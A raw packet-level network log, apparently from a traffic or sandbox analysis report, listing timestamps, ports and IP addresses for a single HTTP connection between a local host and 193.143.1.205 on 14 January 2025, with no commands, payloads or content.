Jan 14, 2025 10:55:00.880678892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.880688906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.880716085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.880717039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.880727053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.880748034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.886400938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.886418104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.886429071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.886436939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.886439085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.886450052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.886456966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.886487007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.924660921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.924670935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.924838066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963263035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963373899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963429928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963429928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963486910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963526011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963540077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963574886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963608027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963615894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963641882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963675022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963685036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963709116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963742018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963748932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963773966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963808060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963814020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963841915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963876009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963882923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.963908911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963943958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.963949919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.964350939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964380980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964396000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.964435101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964474916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.964485884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964519978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964553118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964562893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.964590073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964632034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.964869976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964903116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964941978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.964952946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.964986086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965019941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965029001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965053082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965087891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965086937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965121031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965167999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965553999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965588093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965620995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965631962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965703011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965744972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965753078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965786934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965821028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965831041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965854883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965888023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965898991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.965922117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965955019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.965962887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.966531038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966573954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.966583014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966617107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966650009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966659069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.966687918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966722012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966725111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.966753960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966788054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966804028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.966820955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966854095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966864109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.966890097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.966928959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.967531919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967586040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967622042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.967637062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967669010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967700958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967708111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.967734098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967767954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967775106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.967801094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967833996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967840910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.967869043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.967905045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.968888998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.968940973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.968991995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.969000101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.969027042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.969037056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.969060898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.969094038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.969099998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.969126940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.969158888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.969167948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.973354101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973382950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973401070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.973417997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973462105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.973470926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973504066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973536968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973541975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.973570108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973603964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.973607063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.979418039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.984158993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.006020069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.006066084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.006103039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.006136894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.006172895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.006198883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.006198883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.006208897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.049763918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049781084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049798012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049814939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049825907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049834967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049845934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049855947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049856901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.049856901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.049887896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.049911976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049923897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049933910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049952984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.049981117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.049993992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.050019979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.050065994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.050076962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.050092936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.050096035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.050120115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.050120115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.050132036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.050169945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088219881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088238001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088251114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088300943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088304996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088318110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088329077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088351011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088366032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088371992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088377953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088388920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088401079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088413000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088421106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088432074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088494062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088505983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088517904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088532925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088538885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088545084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088557959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088567019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088584900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088655949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088696957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088705063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088715076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088726044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088737965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088759899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088768005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088769913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088781118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088793039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088804007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088821888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088826895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088849068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088879108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088890076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088901043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088922024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088962078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.088974953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088987112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.088999033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089010000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089021921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089025974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089046955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089148998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089189053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089191914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089200974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089238882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089248896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089261055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089272022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089282990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089292049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089320898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089363098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089375019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089386940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089399099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089411974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089413881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089422941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089436054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089457989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089462996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089472055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089512110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089562893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089626074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089637041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089649916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089663982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089665890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089687109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089723110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089735031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089745998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089764118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089764118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089776039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089785099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089787960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089817047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089818001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089829922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089842081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089858055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089879990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.089895964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089907885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089920044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.089935064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090106010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090117931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090130091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090152979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090162039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090173960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090178013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090186119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090209007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090322018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090333939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090347052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090358019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090368986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090374947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090384007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090384007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090385914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090410948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090437889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090456009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090467930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090478897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090503931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090513945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090527058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090552092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090572119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090584040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090594053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090607882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090615988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090620041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090635061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090660095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090689898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090702057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090713024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090750933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090771914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090784073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090794086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090806007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090816975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.090818882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090831995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.090858936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.098530054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136663914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136678934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136698008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136708021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136718988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136729002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136734962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136744976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136750937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136754990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136780977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136785984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136795044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136795998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136805058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136816978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136826038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136836052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136871099 CET	80	49704	193.143.1.205	192.168.2.5
